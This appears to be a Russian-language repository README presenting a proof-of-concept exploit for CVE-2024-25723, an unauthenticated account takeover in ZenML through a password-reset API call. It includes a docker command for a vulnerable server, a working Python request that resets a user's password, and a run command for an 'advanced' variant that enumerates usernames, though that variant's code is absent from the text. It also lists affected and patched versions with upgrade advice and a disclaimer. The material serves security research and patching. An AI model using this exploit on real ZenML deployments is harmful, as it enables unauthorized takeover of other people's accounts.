
Учебный Proof of Concept эксплойт для CVE-2024-25723, демонстрирующий несанкционированный захват учётной записи в ZenML через сброс пароля API, с определением версии и перебором имён пользователей.
Этот репозиторий посвящён устранению CVE-2024-25723 — критической уязвимости безопасности в ZenML. Здесь представлен образовательный Proof of Concept (PoC), иллюстрирующий проблему и призывающий к своевременному устранению рисков. PoC демонстрирует, как неавторизованный пользователь может воспользоваться уязвимостью, чтобы получить контроль над любыми учётными записями ZenML.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
Разница между PoC и продвинутым эксплойтом заключается в том, что продвинутый эксплойт перебирает наиболее часто используемые имена пользователей, а также способен определять, уязвима ли версия, через API, которое раскрывает версию ZenML. Чтобы использовать продвинутый эксплойт, сохраните следующий код в файл:
Команда для запуска этого эксплойта:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
Все версии ZenML ниже 0.46.7 уязвимы, за исключением следующих патч-версий: (0.44.4, 0.43.1, 0.42.2).
Обновитесь до последней версии (0.46.7 или выше) или одной из исправленных версий (0.44.4, 0.43.1, 0.42.2), чтобы устранить этот риск.
Предоставленный в этом репозитории Proof of Concept (PoC) предназначен только для образовательных целей и исследований в области безопасности. Информация и код предназначены для использования специалистами по кибербезопасности и исследователями для понимания уязвимостей в программном обеспечении и системах и защиты от них. Любое использование этого PoC, связанной с ним информации или кода для атак на цели без предварительного взаимного согласия незаконно и строго запрещено.
Используя этот PoC, вы соглашаетесь с тем, что понимаете потенциальное влияние уязвимости, которую он демонстрирует, и будете использовать его ответственно и этично. Авторы этого PoC снимают с себя любую ответственность за неправомерное использование этого материала или любой ущерб, который может возникнуть в результате использования предоставленной информации и кода. Конечный пользователь обязан соблюдать все применимые местные, государственные, национальные и международные законы.
Авторы приложили все усилия, чтобы обеспечить точность и достоверность информации, представленной в этом репозитории. Однако информация предоставляется «как есть» без каких-либо гарантий. Авторы не несут ответственности за точность, содержание, полноту, законность или достоверность содержащейся информации.